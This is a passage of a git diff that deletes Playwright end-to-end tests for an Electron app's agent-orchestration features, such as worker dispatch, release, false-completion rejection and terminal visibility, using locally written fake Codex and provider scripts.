detachedDaemonSessionExists(session.userDataDir, workerPtyId)) - .toBe(false) - await expect.poll(() => isProcessAlive(initialSpawn.pid)).toBe(false) - rmSync(interruptionLedgerPath, { force: true }) - - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - expect(await waitForActiveWorktree(second.page)).toBe(worktreeId) - const secondClient = new RuntimeClient(session.userDataDir, 30_000, null, null) - await expect - .poll(async () => { - const listed = await secondClient.call('terminal.list') - return listed.result.terminals.filter( - (terminal) => terminal.ptyId === workerPtyId || terminal.title === 'Codex Ready' - ) - }) - .toEqual([]) - await expect( - second.page.locator(`[data-testid="sortable-tab"][data-tab-id="${worker!.tabId}"]`) - ).toHaveCount(0) - await expect - .poll(() => readSettledDispatch(session.userDataDir, dispatch.result.dispatch!.id)) - .toEqual({ - dispatch_status: 'failed', - worker_state: 'abandoned', - stage: 'terminal_missing' - }) - await expect - .poll(() => hasPersistedResumeRecord(session.userDataDir, workerPaneKey)) - .toBe(false) - expect(readLedger(spawnLedgerPath)).toEqual([initialSpawn]) - expect(readLedger(interruptionLedgerPath)).toEqual([]) - } finally { - if (secondApp) { - await session.close(secondApp).catch(() => undefined) - } - if (firstApp) { - await session.close(firstApp).catch(() => undefined) - } - await session.dispose() - } -}) diff --git a/tests/e2e/orchestration-low-level-dispatch-release.spec.ts b/tests/e2e/orchestration-low-level-dispatch-release.spec.ts deleted file mode 100644 index 5497400e41b..00000000000 --- a/tests/e2e/orchestration-low-level-dispatch-release.spec.ts +++ /dev/null @@ -1,143 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { waitForSessionReady, ensureTerminalVisible } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' - -test('low-level Dispatches can be abandoned and stopped without closing their pane', async ({ - orcaPage, - electronApp -}) => { - await waitForSessionReady(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await waitForActivePanePtyId(orcaPage) - - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const pane = await waitForActivePaneHookDescriptor(orcaPage) - const resolved = await client.call<{ terminal: { handle: string } }>('terminal.resolvePane', { - paneKey: pane.paneKey - }) - const terminalHandle = resolved.result.terminal.handle - await expect - .poll(async () => (await findTerminal(client, terminalHandle)).incarnationId, { - timeout: 15_000 - }) - .toBeTruthy() - const before = await findTerminal(client, terminalHandle) - if (!before.incarnationId) { - throw new Error('The target terminal never published a process incarnation') - } - const run = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Release low-level Dispatches', - from: terminalHandle - }) - - const abandonedTask = await createTask(client, run.result.run.id, terminalHandle, 'abandon') - const abandonedDispatch = await dispatchTask( - client, - run.result.run.id, - abandonedTask, - terminalHandle - ) - const shownBeforeAbandon = await showDispatch(client, abandonedTask) - expect(shownBeforeAbandon.id).toBe(abandonedDispatch) - expect(shownBeforeAbandon.status).toBe('dispatched') - - await expect( - client.call('orchestration.workerAbandon', { dispatch: abandonedDispatch }) - ).resolves.toMatchObject({ - result: { - dispatchId: abandonedDispatch, - state: 'abandoned', - alreadySettled: false, - processAction: 'none' - } - }) - expect(await showDispatch(client, abandonedTask)).toMatchObject({ - status: 'failed', - last_failure: 'abandoned' - }) - - const stoppedTask = await createTask(client, run.result.run.id, terminalHandle, 'stop') - const stoppedDispatch = await dispatchTask(client, run.result.run.id, stoppedTask, terminalHandle) - await expect( - client.call('orchestration.workerStop', { dispatch: stoppedDispatch }) - ).resolves.toMatchObject({ - result: { - dispatchId: stoppedDispatch, - state: 'stopped', - alreadySettled: false, - processAction: 'none', - warning: expect.stringContaining('without closing') - } - }) - expect(await showDispatch(client, stoppedTask)).toMatchObject({ - status: 'failed', - last_failure: 'stopped' - }) - - const after = await findTerminal(client, terminalHandle) - expect(after).toMatchObject({ - handle: before.handle, - ptyId: before.ptyId, - incarnationId: before.incarnationId, - connected: true - }) - - const reusableTask = await createTask(client, run.result.run.id, terminalHandle, 'reuse') - await expect( - dispatchTask(client, run.result.run.id, reusableTask, terminalHandle) - ).resolves.toMatch(/^ctx_/) -}) - -async function createTask( - client: RuntimeClient, - runId: string, - coordinatorHandle: string, - suffix: string -): Promise { - const created = await client.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: `low-level ${suffix}`, - run: runId, - callerTerminalHandle: coordinatorHandle - }) - return created.result.task.id -} - -async function dispatchTask( - client: RuntimeClient, - runId: string, - taskId: string, - terminalHandle: string -): Promise { - const dispatched = await client.call<{ dispatch: { id: string } }>('orchestration.dispatch', { - task: taskId, - run: runId, - from: terminalHandle, - to: terminalHandle - }) - return dispatched.result.dispatch.id -} - -async function showDispatch( - client: RuntimeClient, - taskId: string -): Promise<{ id: string; status: string; last_failure: string | null }> { - const shown = await client.call<{ - dispatch: { id: string; status: string; last_failure: string | null } - }>('orchestration.dispatchShow', { task: taskId }) - return shown.result.dispatch -} - -async function findTerminal(client: RuntimeClient, handle: string) { - const listed = await client.call('terminal.list') - const terminal = listed.result.terminals.find((candidate) => candidate.handle === handle) - expect(terminal).toBeDefined() - return terminal! -} diff --git a/tests/e2e/orchestration-worker-settlement-release-cli.spec.ts b/tests/e2e/orchestration-worker-settlement-release-cli.spec.ts deleted file mode 100644 index a175830fe85..00000000000 --- a/tests/e2e/orchestration-worker-settlement-release-cli.spec.ts +++ /dev/null @@ -1,353 +0,0 @@ -import { spawnSync } from 'node:child_process' -import { chmodSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test as base, expect } from './helpers/orca-app' -import { waitForActivePaneHookDescriptor, waitForActivePanePtyId } from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { RuntimeClient } from '../../src/cli/runtime/client' -import Database from '../../src/main/sqlite/sync-database' -import type { - RuntimeTerminalListResult, - RuntimeTerminalRead -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { - buildFakeAgentCommandOverride, - FAKE_AGENT_WINDOWS_SHELL -} from './helpers/fake-agent-command-override' -import { FAKE_AGENT_PASTE_END_SCANNER_SOURCE } from './helpers/fake-agent-paste-end-scanner' -import { FAKE_CODEX_LAUNCH_PROBES_SOURCE } from './helpers/fake-codex-launch-probes' - -const fakeCliDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-settlement-release-')) -const cliLedgerPath = path.join(fakeCliDir, 'cli.jsonl') -const cliEntry = path.join(process.cwd(), 'out', 'cli', 'index.js') -const fakeCodexCommand = buildFakeAgentCommandOverride( - path.join(fakeCliDir, process.platform === 'win32' ? 'codex.cmd' : 'codex') -) -const fakeCodexSource = ` -const { appendFileSync } = require('node:fs') -const { spawnSync } = require('node:child_process') -${FAKE_CODEX_LAUNCH_PROBES_SOURCE} -let acknowledged = false -${FAKE_AGENT_PASTE_END_SCANNER_SOURCE} -process.stdout.write('\\u001b]0;Codex Ready\\u0007OpenAI Codex\\nmodel: e2e\\ndirectory: e2e\\n') -process.stdin.on('data', (chunk) => { - const input = chunk.toString() - const pasteEndScan = scanFakeAgentPasteEnd(fakeAgentPasteEndTail, input) - fakeAgentPasteEndTail = pasteEndScan.tail - if (pasteEndScan.pasteEndOffset !== null) { - process.stdout.write('\\x1b[?25h') - } - if (!acknowledged) { - fakeAgentMaybeAck(pasteEndScan, input, (mode) => { - acknowledged = true - const message = mode === 'bracketed' ? 'ACK' : 'PASTE_PROTOCOL_ERROR' - process.stdout.write('\\u001b]0;Codex Working\\u0007' + message + '\\n') - setTimeout(() => process.stdout.write('\\u001b]0;Codex Ready\\u0007'), 10) - }) - } - const encoded = input.match(/ORCA_E2E_WORKER_DONE:([A-Za-z0-9+/=]+)/)?.[1] - if (!encoded) return - const request = JSON.parse(Buffer.from(encoded, 'base64').toString('utf8')) - const args = [ - 'orchestration', 'send', - '--from', request.mismatch ? 'term_foreign' : process.env.ORCA_TERMINAL_HANDLE, - '--to', request.coordinator, - '--type', 'worker_done', - '--subject', request.mismatch ? 'wrong sender' : 'completed', - '--body', 'Compiled CLI E2E worker completion.', - '--task-id', request.taskId, - '--dispatch-id', request.dispatchId, - '--outcome', 'succeeded', - '--json' - ] - const result = spawnSync(process.execPath, [process.env.ORCA_E2E_CLI_ENTRY, ...args], { - env: process.env, - encoding: 'utf8' - }) - appendFileSync( - process.env.ORCA_E2E_CLI_LEDGER, - JSON.stringify({ mismatch: request.mismatch, args, status: result.status, stdout: result.stdout, stderr: result.stderr }) + '\\n' - ) -}) -process.stdin.setRawMode?.(true) -process.stdin.resume() -setInterval(() => {}, 60_000) -` - -if (process.platform === 'win32') { - writeFileSync(path.join(fakeCliDir, 'fake-codex.js'), fakeCodexSource) - writeFileSync( - path.join(fakeCliDir, 'codex.cmd'), - '@echo off\r\nnode "%~dp0\\fake-codex.js" %*\r\n' - ) -} else { - const executable = path.join(fakeCliDir, 'codex') - writeFileSync(executable, `#!/usr/bin/env node\n${fakeCodexSource}`) - chmodSync(executable, 0o755) -} - -const test = base.extend({ - launchEnv: { - PATH: `${fakeCliDir}${path.delimiter}${process.env.PATH ?? ''}`, - ORCA_E2E_CLI_ENTRY: cliEntry, - ORCA_E2E_CLI_LEDGER: cliLedgerPath - } -}) - -type CliLedgerEntry = { - mismatch: boolean - status: number - stdout: string - stderr: string -} - -function readCliLedger(): CliLedgerEntry[] { - if (!existsSync(cliLedgerPath)) { - return [] - } - return readFileSync(cliLedgerPath, 'utf8') - .split(/\r?\n/) - .filter(Boolean) - .map((line) => JSON.parse(line) as CliLedgerEntry) -} - -function invokeCompiledCli(userDataDir: string, args: string[]) { - return spawnSync(process.execPath, [cliEntry, ...args], { - env: { ...process.env, ORCA_USER_DATA_PATH: userDataDir, ORCA_DEV_CLI_INVOCATION: '1' }, - encoding: 'utf8' - }) -} - -function encodeWorkerDone(input: { - coordinator: string - taskId: string - dispatchId: string - mismatch: boolean -}): string { - return Buffer.from(JSON.stringify(input)).toString('base64') -} - -test.afterAll(() => { - rmSync(fakeCliDir, { recursive: true, force: true }) -}) - -test('compiled CLI rejects false completion then reconciles the dead retained worker', async ({ - orcaPage, - electronApp -}) => { - test.setTimeout(180_000) - rmSync(cliLedgerPath, { force: true }) - await waitForSessionReady(orcaPage) - await orcaPage.evaluate( - async ({ agentCommand, terminalWindowsShell }) => { - await window.__store?.getState().updateSettings({ - agentCmdOverrides: { codex: agentCommand }, - terminalWindowsShell - }) - }, - { agentCommand: fakeCodexCommand, terminalWindowsShell: FAKE_AGENT_WINDOWS_SHELL } - ) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActivePanePtyId(orcaPage) - const coordinatorPane = await waitForActivePaneHookDescriptor(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const coordinator = await client.call<{ terminal: { handle: string } }>('terminal.resolvePane', { - paneKey: coordinatorPane.paneKey - }) - const run = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Compiled CLI settlement and release E2E', - from: coordinator.result.terminal.handle - }) - const task = await client.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: 'Respond ACK and await the completion marker.', - run: run.result.run.id, - callerTerminalHandle: coordinator.result.terminal.handle - }) - const coordinatorTerminal = await client.call<{ terminal: { worktreeId: string } }>( - 'terminal.show', - { terminal: coordinator.result.terminal.handle } - ) - await expect - .poll(async () => { - const listed = await client.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - return listed.result.worktrees.some( - (worktree) => worktree.id === coordinatorTerminal.result.terminal.worktreeId - ) - }) - .toBe(true) - const started = await client.call<{ effects: { kind: string; role?: string; id?: string }[] }>( - 'orchestration.workerStart', - { - task: task.result.task.id, - from: coordinator.result.terminal.handle, - agent: 'codex', - timeoutMs: 15_000 - } - ) - const workerHandle = started.result.effects.find( - (effect) => effect.kind === 'terminal' && effect.role === 'agent' - )?.id - expect(workerHandle).toBeTruthy() - - let worker = ( - await client.call('terminal.list') - ).result.terminals.find((terminal) => terminal.handle === workerHandle) - await expect - .poll(async () => { - const listed = await client.call('terminal.list') - worker = listed.result.terminals.find((terminal) => terminal.handle === workerHandle) - if (!worker) { - return '' - } - const read = await client.call<{ terminal: RuntimeTerminalRead }>('terminal.read', { - terminal: worker.handle, - limit: 200 - }) - return read.result.terminal.tail.join('\n') - }) - .toContain('ACK') - const dispatch = await client.call<{ dispatch: { id: string; status: string } | null }>( - 'orchestration.dispatchShow', - { task: task.result.task.id } - ) - expect(dispatch.result.dispatch?.status).toBe('dispatched') - - const baseMarker = { - coordinator: coordinator.result.terminal.handle, - taskId: task.result.task.id, - dispatchId: dispatch.result.dispatch!.id - } - await client.call('terminal.send', { - terminal: workerHandle, - text: `ORCA_E2E_WORKER_DONE:${encodeWorkerDone({ ...baseMarker, mismatch: true })}`, - enter: true - }) - await expect.poll(() => readCliLedger()).toHaveLength(1) - const rejected = readCliLedger()[0]! - expect.soft(rejected.status).not.toBe(0) - expect.soft(JSON.parse(rejected.stdout)).toMatchObject({ - ok: false, - error: { code: 'consumer_fenced' } - }) - const stillDispatched = await client.call<{ dispatch: { status: string } | null }>( - 'orchestration.dispatchShow', - { task: task.result.task.id } - ) - expect(stillDispatched.result.dispatch?.status).toBe('dispatched') - - await client.call('terminal.send', { - terminal: workerHandle, - text: `ORCA_E2E_WORKER_DONE:${encodeWorkerDone({ ...baseMarker, mismatch: false })}`, - enter: true - }) - await expect.poll(() => readCliLedger()).toHaveLength(2) - const completed = readCliLedger()[1]! - expect(completed.status).toBe(0) - expect.soft(JSON.parse(completed.stdout)).toMatchObject({ - ok: true, - result: { lifecycle: 'completed' } - }) - await expect - .poll(async () => { - const current = await client.call<{ dispatch: { status: string } | null }>( - 'orchestration.dispatchShow', - { task: task.result.task.id } - ) - return current.result.dispatch?.status - }) - .toBe('completed') - - await client.call('terminal.close', { terminal: workerHandle }) - await expect - .poll(async () => { - const listed = await client.call('terminal.list') - return listed.result.terminals.some((terminal) => terminal.handle === workerHandle) - }) - .toBe(false) - const db = new Database(path.join(userDataDir, 'orchestration.db')) - try { - db.prepare( - `UPDATE worker_terminal_resources - SET ownership_state = 'external', release_state = 'retained', - retained_reason = 'external_terminal' - WHERE owner_dispatch_id = ?` - ).run(dispatch.result.dispatch!.id) - } finally { - db.close() - } - - const retained = invokeCompiledCli(userDataDir, [ - 'orchestration', - 'worker-release', - '--dispatch', - dispatch.result.dispatch!.id, - '--json' - ]) - expect(retained.status).toBe(0) - expect(JSON.parse(retained.stdout)).toMatchObject({ - ok: true, - result: { state: 'retained', reason: 'external_terminal', processAction: 'none' } - }) - const recovery = new Database(path.join(userDataDir, 'orchestration.db')) - try { - expect( - recovery - .prepare( - 'SELECT ownership_state, release_state FROM worker_terminal_resources WHERE owner_dispatch_id = ?' - ) - .get(dispatch.result.dispatch!.id) - ).toEqual({ ownership_state: 'external', release_state: 'retained' }) - // Seed the owned, abandoned recovery state after separately proving completion and external retention. - recovery - .prepare( - "UPDATE worker_terminal_resources SET ownership_state = 'owned', retained_reason = 'user_requested' WHERE owner_dispatch_id = ?" - ) - .run(dispatch.result.dispatch!.id) - recovery - .prepare( - "UPDATE worker_dispatches SET state = 'abandoned', stage = 'abandoned' WHERE dispatch_id = ?" - ) - .run(dispatch.result.dispatch!.id) - } finally { - recovery.close() - } - - const released = invokeCompiledCli(userDataDir, [ - 'orchestration', - 'worker-release', - '--dispatch', - dispatch.result.dispatch!.id, - '--json' - ]) - expect(released.status).toBe(0) - expect.soft(JSON.parse(released.stdout)).toMatchObject({ - ok: true, - result: { state: 'released', processAction: 'none' } - }) - const verified = new Database(path.join(userDataDir, 'orchestration.db')) - try { - expect - .soft( - verified - .prepare( - `SELECT ownership_state, release_state - FROM worker_terminal_resources WHERE owner_dispatch_id = ?` - ) - .get(dispatch.result.dispatch!.id) - ) - .toEqual({ ownership_state: 'released', release_state: 'released' }) - } finally { - verified.close() - } - const coordinatorStillLive = await client.call('terminal.list', { - worktree: `id:${worktreeId}` - }) - expect( - coordinatorStillLive.result.terminals.some( - (terminal) => terminal.handle === coordinator.result.terminal.handle - ) - ).toBe(true) -}) diff --git a/tests/e2e/orchestration-worker-terminal-visibility.spec.ts b/tests/e2e/orchestration-worker-terminal-visibility.spec.ts deleted file mode 100644 index 3c59cee1e1c..00000000000 --- a/tests/e2e/orchestration-worker-terminal-visibility.spec.ts +++ /dev/null @@ -1,271 +0,0 @@ -import { chmodSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test as base, expect } from './helpers/orca-app' -import { - buildFakeAgentCommandOverride, - FAKE_AGENT_WINDOWS_SHELL -} from './helpers/fake-agent-command-override' -import { - ensureTerminalVisible, - getActiveTabId, - switchToOtherWorktree, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActivePanePtyId } from './helpers/terminal' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { - RuntimeTerminalListResult, - RuntimeTerminalRead -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { FAKE_CODEX_LAUNCH_PROBES_SOURCE } from './helpers/fake-codex-launch-probes' - -const fakeCliDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-orchestration-worker-')) -const spawnLedgerPath = path.join(fakeCliDir, 'spawn.jsonl') -const interruptionLedgerPath = path.join(fakeCliDir, 'interruption.jsonl') -const fakeCodexPath = path.join(fakeCliDir, process.platform === 'win32' ? 'codex.cmd' : 'codex') -const fakeCodexCommand = buildFakeAgentCommandOverride(fakeCodexPath) -const fakeCodexSource = ` -const { appendFileSync } = require('node:fs') -function appendLedger(envName, event) { - const ledgerPath = process.env[envName] - if (!ledgerPath) return - try { - appendFileSync(ledgerPath, JSON.stringify({ pid: process.pid, at: Date.now(), ...event }) + '\\n') - } catch {} -} -${FAKE_CODEX_LAUNCH_PROBES_SOURCE} -appendLedger('ORCA_E2E_SPAWN_LEDGER', { event: 'spawn', startedAt: Date.now() }) -process.stdout.write('\\u001b]0;Codex Ready\\u0007OpenAI Codex\\nmodel: e2e\\ndirectory: e2e\\n') -let acknowledged = false -process.stdin.on('data', (chunk) => { - const input = chunk.toString() - if (input.includes('\\x03')) { - appendLedger('ORCA_E2E_INTERRUPTION_LEDGER', { event: 'stdin-ctrl-c' }) - } - if (!acknowledged && input.includes('\\r')) { - acknowledged = true - process.stdout.write('ACK\\n') - } -}) -for (const signal of ['SIGINT', 'SIGHUP', 'SIGTERM']) { - process.on(signal, () => { - appendLedger('ORCA_E2E_INTERRUPTION_LEDGER', { event: 'signal', signal }) - process.exit(0) - }) -} -process.stdin.resume() -setInterval(() => {}, 60_000) -` - -if (process.platform === 'win32') { - writeFileSync(path.join(fakeCliDir, 'fake-codex.js'), fakeCodexSource) - writeFileSync( - path.join(fakeCliDir, 'codex.cmd'), - '@echo off\r\nnode "%~dp0\\fake-codex.js" %*\r\n' - ) -} else { - const executable = path.join(fakeCliDir, 'codex') - writeFileSync(executable, `#!/usr/bin/env node\n${fakeCodexSource}`) - chmodSync(executable, 0o755) -} - -const test = base.extend({ - launchEnv: { - PATH: `${fakeCliDir}${path.delimiter}${process.env.PATH ?? ''}`, - ORCA_E2E_SPAWN_LEDGER: spawnLedgerPath, - ORCA_E2E_INTERRUPTION_LEDGER: interruptionLedgerPath - } -}) - -test.afterAll(() => { - rmSync(fakeCliDir, { recursive: true, force: true }) -}) - -type LedgerEvent = { - pid: number - event: string - startedAt?: number - signal?: string -} - -function readLedger(ledgerPath: string): LedgerEvent[] { - if (!existsSync(ledgerPath)) { - return [] - } - return readFileSync(ledgerPath, 'utf8') - .split(/\r?\n/) - .filter(Boolean) - .map((line) => JSON.parse(line) as LedgerEvent) -} - -function isProcessAlive(pid: number): boolean { - try { - process.kill(pid, 0) - return true - } catch { - return false - } -} - -test('worker-start preserves one live inactive worker across workspace re-entry', async ({ - orcaPage, - electronApp -}) => { - await waitForSessionReady(orcaPage) - await orcaPage.evaluate( - async ({ agentCommand, terminalWindowsShell }) => { - await window.__store?.getState().updateSettings({ - agentCmdOverrides: { codex: agentCommand }, - terminalWindowsShell - }) - }, - { agentCommand: fakeCodexCommand, terminalWindowsShell: FAKE_AGENT_WINDOWS_SHELL } - ) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const coordinatorTabId = await getActiveTabId(orcaPage) - expect(coordinatorTabId).toBeTruthy() - await waitForActivePanePtyId(orcaPage) - const coordinatorPane = await waitForActivePaneHookDescriptor(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const coordinator = await client.call<{ terminal: { handle: string } }>('terminal.resolvePane', { - paneKey: coordinatorPane.paneKey - }) - const run = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Verify worker terminal visibility', - from: coordinator.result.terminal.handle - }) - const task = await client.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: 'Respond ACK and remain idle', - run: run.result.run.id, - callerTerminalHandle: coordinator.result.terminal.handle - }) - const coordinatorTerminal = await client.call<{ terminal: { worktreeId: string } }>( - 'terminal.show', - { terminal: coordinator.result.terminal.handle } - ) - await expect - .poll(async () => { - const listed = await client.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - return listed.result.worktrees.some( - (worktree) => worktree.id === coordinatorTerminal.result.terminal.worktreeId - ) - }) - .toBe(true) - - const started = await client.call<{ - effects: { kind: string; role?: string; id?: string }[] - }>('orchestration.workerStart', { - task: task.result.task.id, - from: coordinator.result.terminal.handle, - agent: 'codex', - timeoutMs: 15_000 - }) - const workerHandle = started.result.effects.find( - (effect) => effect.kind === 'terminal' && effect.role === 'agent' - )?.id - expect(workerHandle).toBeTruthy() - const workerTabTitle = `worker-${task.result.task.id}` - - const terminals = await client.call('terminal.list') - const workerTerminal = terminals.result.terminals.find( - (terminal) => terminal.handle === workerHandle - ) - expect(workerTerminal?.tabId).toBeTruthy() - expect(workerTerminal?.leafId).toBeTruthy() - await expect - .poll(async () => { - const read = await client.call<{ terminal: RuntimeTerminalRead }>('terminal.read', { - terminal: workerTerminal!.handle, - limit: 200 - }) - return read.result.terminal.tail.join('\n') - }) - .toContain('ACK') - const initialWorkerIdentity = { - ptyId: workerTerminal!.ptyId, - incarnationId: workerTerminal!.incarnationId, - worktreeId: workerTerminal!.worktreeId, - tabId: workerTerminal!.tabId, - leafId: workerTerminal!.leafId - } - const initialDispatch = await client.call<{ - dispatch: { id: string; task_id: string; assignee_handle: string } | null - }>('orchestration.dispatchShow', { task: task.result.task.id }) - expect(initialDispatch.result.dispatch).toEqual( - expect.objectContaining({ - task_id: task.result.task.id, - assignee_handle: workerHandle - }) - ) - await expect.poll(() => readLedger(spawnLedgerPath)).toHaveLength(1) - const [spawn] = readLedger(spawnLedgerPath) - expect(spawn).toEqual( - expect.objectContaining({ - event: 'spawn', - pid: expect.any(Number), - startedAt: expect.any(Number) - }) - ) - expect(isProcessAlive(spawn.pid)).toBe(true) - expect(readLedger(interruptionLedgerPath)).toEqual([]) - const workerTab = orcaPage.locator( - `[data-testid="sortable-tab"][data-tab-id="${workerTerminal!.tabId}"]` - ) - await expect(workerTab).toBeVisible() - await expect(workerTab).toHaveAttribute('data-active', 'false') - await expect( - orcaPage.locator(`[data-testid="sortable-tab"][data-tab-id="${coordinatorTabId}"]`) - ).toHaveAttribute('data-active', 'true') - - await client.call('orchestration.send', { - from: workerHandle, - to: `run:${run.result.run.id}`, - subject: 'ACK' - }) - const checked = await client.call<{ messages: { subject: string }[] }>('orchestration.check', { - terminal: 'term_stale_coordinator', - terminalPaneKey: coordinatorPane.paneKey - }) - expect(checked.result.messages).toEqual([expect.objectContaining({ subject: 'ACK' })]) - - const otherWorktreeId = await switchToOtherWorktree(orcaPage, worktreeId) - expect(otherWorktreeId).toBeTruthy() - await expect(workerTab).not.toBeVisible() - await switchToWorktree(orcaPage, worktreeId) - - await expect(workerTab).toBeVisible() - await expect( - orcaPage.locator(`[data-testid="sortable-tab"][data-tab-id="${workerTerminal!.tabId}"]`) - ).toHaveCount(1) - await expect( - orcaPage.locator(`[data-testid="sortable-tab"][data-tab-title="${workerTabTitle}"]`) - ).toHaveCount(1) - const terminalsAfterReturn = await client.call('terminal.list') - const workerAfterReturn = terminalsAfterReturn.result.terminals.find( - (terminal) => terminal.ptyId === initialWorkerIdentity.ptyId - ) - expect(workerAfterReturn).toEqual(expect.objectContaining(initialWorkerIdentity)) - const dispatchAfterReturn = await client.call<{ - dispatch: { id: string; task_id: string; assignee_handle: string } | null - }>('orchestration.dispatchShow', { task: task.result.task.id }) - expect(dispatchAfterReturn.result.dispatch).toEqual(initialDispatch.result.dispatch) - expect(readLedger(spawnLedgerPath)).toEqual([spawn]) - expect(readLedger(interruptionLedgerPath)).toEqual([]) - expect(isProcessAlive(spawn.pid)).toBe(true) - const workerOutputAfterReturn = await client.call<{ terminal: RuntimeTerminalRead }>( - 'terminal.read', - { - terminal: workerAfterReturn!.handle, - limit: 200 - } - ) - expect(workerOutputAfterReturn.result.terminal.tail.join('\n')).not.toContain( - 'Conversation interrupted' - ) - await expect(orcaPage.locator('body')).not.toContainText('Conversation interrupted') -}) diff --git a/tests/e2e/orchestration-worker-transcript-providers.spec.ts b/tests/e2e/orchestration-worker-transcript-providers.spec.ts deleted file mode 100644 index e338ae40f9c..00000000000 --- a/tests/e2e/orchestration-worker-transcript-providers.spec.ts +++ /dev/null @@ -1,406 +0,0 @@ -import { - appendFileSync, - chmodSync, - existsSync, - mkdirSync, - mkdtempSync, - readFileSync, - rmSync, - writeFileSync -} from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test as base, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActivePanePtyId } from './helpers/terminal' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { - RuntimeTerminalListResult, - RuntimeTerminalSummary -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { - buildFakeAgentCommandOverride, - FAKE_AGENT_WINDOWS_SHELL -} from './helpers/fake-agent-command-override' - -type TranscriptProvider = 'claude' | 'grok' | 'omp' - -const PROVIDERS: readonly { - agent: TranscriptProvider - title: string - first: string - second: string - third: string - transcript: (sessionId: string, first: string, second: string, third: string) => string -}[] = [ - { - agent: 'claude', - title: '✳ Claude Code', - first: 'Claude transcript first', - second: 'Claude transcript second', - third: 'Claude transcript after cursor', - transcript: (sessionId, first, second, third) => - `${[ - { - type: 'user', - uuid: `${sessionId}-user-1`, - message: { content: [{ type: 'text', text: first }] } - }, - { - type: 'assistant', - uuid: `${sessionId}-assistant-1`, - message: { content: [{ type: 'text', text: second }] } - }, - { - type: 'assistant', - uuid: `${sessionId}-assistant-2`, - message: { content: [{ type: 'text', text: third }] } - } - ] - .map((record) => JSON.stringify(record)) - .join('\n')}\n` - }, - { - agent: 'grok', - title: 'Grok ready', - first: 'Grok transcript first', - second: 'Grok transcript second', - third: 'Grok transcript after cursor', - transcript: (sessionId, first, second, third) => - `${[ - { id: `${sessionId}-assistant-1`, type: 'assistant', content: first }, - { id: `${sessionId}-assistant-2`, type: 'assistant', content: second }, - { id: `${sessionId}-assistant-3`, type: 'assistant', content: third } - ] - .map((record) => JSON.stringify(record)) - .join('\n')}\n` - }, - { - agent: 'omp', - title: 'OMP ready', - first: 'OMP transcript first', - second: 'OMP transcript second', - third: 'OMP transcript after cursor', - transcript: (sessionId, first, second, third) => - `${[ - { - type: 'message', - id: `${sessionId}-user-1`, - message: { role: 'user', content: [{ type: 'text', text: first }] } - }, - { - type: 'message', - id: `${sessionId}-assistant-1`, - message: { role: 'assistant', content: [{ type: 'text', text: second }] } - }, - { - type: 'message', - id: `${sessionId}-assistant-2`, - message: { role: 'assistant', content: [{ type: 'text', text: third }] } - } - ] - .map((record) => JSON.stringify(record)) - .join('\n')}\n` - } -] - -const fakeCliDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-worker-transcript-providers-')) -const preambleLedgerPath = path.join(fakeCliDir, 'preambles.jsonl') -const fakeGrokHome = path.join(fakeCliDir, 'grok-home') -const fakeOmpHome = path.join(fakeCliDir, 'omp-home') - -function writeFakeProvider(agent: TranscriptProvider, title: string): string { - const configPath = path.join(fakeCliDir, `${agent}-config.json`) - const hookPath = `/hook/${agent}` - const source = ` -const { appendFileSync, readFileSync } = require('node:fs') -const ledger = ${JSON.stringify(preambleLedgerPath)} -const configPath = ${JSON.stringify(configPath)} -let hookSent = false -async function sendProviderHook() { - if (hookSent) return - hookSent = true - const config = JSON.parse(readFileSync(configPath, 'utf8')) - const payload = ${providerHookPayload(agent)} - await fetch('http://127.0.0.1:' + process.env.ORCA_AGENT_HOOK_PORT + '${hookPath}', { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'X-Orca-Agent-Hook-Token': process.env.ORCA_AGENT_HOOK_TOKEN - }, - body: JSON.stringify({ - paneKey: process.env.ORCA_PANE_KEY, - tabId: process.env.ORCA_TAB_ID, - worktreeId: process.env.ORCA_WORKTREE_ID, - launchToken: process.env.ORCA_AGENT_LAUNCH_TOKEN, - env: process.env.ORCA_AGENT_HOOK_ENV, - version: 